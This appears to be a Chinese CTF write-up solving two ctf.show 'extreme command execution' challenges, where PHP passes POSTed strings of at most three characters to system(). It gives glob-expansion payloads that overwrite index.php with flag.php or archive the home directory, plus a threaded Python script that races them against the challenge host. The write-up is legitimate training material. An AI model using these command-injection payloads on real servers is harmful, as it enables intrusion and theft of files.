本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。
极限命令执行6
题目源码
<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 3) {
sleep(1);
system($ctfshow);
}
}else{
highlight_file(__FILE__);
}
?>
单纯的三字符RCE挑战,ls
看到目录下有flag.php
和index.php
注意这里*
默认的是flag.php
可以通过>
写入命令,,所以a-f
开头的命令可以操作flag.php
和index.php
其中命令开头为g-i
的命令可以操作index.php
所以思路是,将flag写入到index.php
中,然后再去读取index.php
,因为最终要读index.php
,所以要求我们的命令要大于f小于i,其中hd
就可以用来读取文件
>cp
*
>hd
*d*
其中*
,Linux会把第一个列出的文件名当做命令,剩下的文件名当做参数
这边我利用虚拟机进行演示
可以很清晰的看到,就不过多解释了
然后利用hd
命令,利用*d*
精确匹配到hd index.php
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
URL = "http://6fa56959-194e-4280-95f1-c1f2c4abe8ea.challenge.ctf.show/"
sess = requests.Session()
def send(p):
try:
r = sess.post(URL, data={'ctf_show': p}, timeout=2)
return p, r.text
except Exception as e:
return p, f"[ERR] {e}"
print(send('>cp'))
HIT_MARKS = ('00000000', 'flag{', '<?php')
ROUNDS = 80
MAX_WORKERS = 36
DELAY_HD = 0.05
DELAY_READ = 0.05
for round_id in range(ROUNDS):
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as ex:
futures = []
futures.append(ex.submit(send, '*p'))
time.sleep(DELAY_HD)
futures.append(ex.submit(send, '>hd'))
time.sleep(DELAY_READ)
# 读出被覆盖后的 index.php
futures.append(ex.submit(send, '*d*'))
for f in as_completed(futures):
p, out = f.result()
if any(m in out for m in HIT_MARKS):
print(f"\n[HIT] payload={p}\n{out}")
raise SystemExit
time.sleep(0.05)
print("未命中")
极限命令执行7
题目提示
提示1:flag在用户家目录里,文件名未知
提示2:可用字符是 数字、字母、特殊符号
题目源码
<?php
error_reporting(0);
#go back home , your flag is not here!
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 3) {
system($ctfshow);
}
}else{
highlight_file(__FILE__);
}
?>
由此可知,flag在/home
目录下,但是当前执行目录是/var/www/html
利于7z
命令压缩文件
>7z
>a
>b
* ~
总结
题目局限性比较大,条件有些苛刻,不过也是了学到了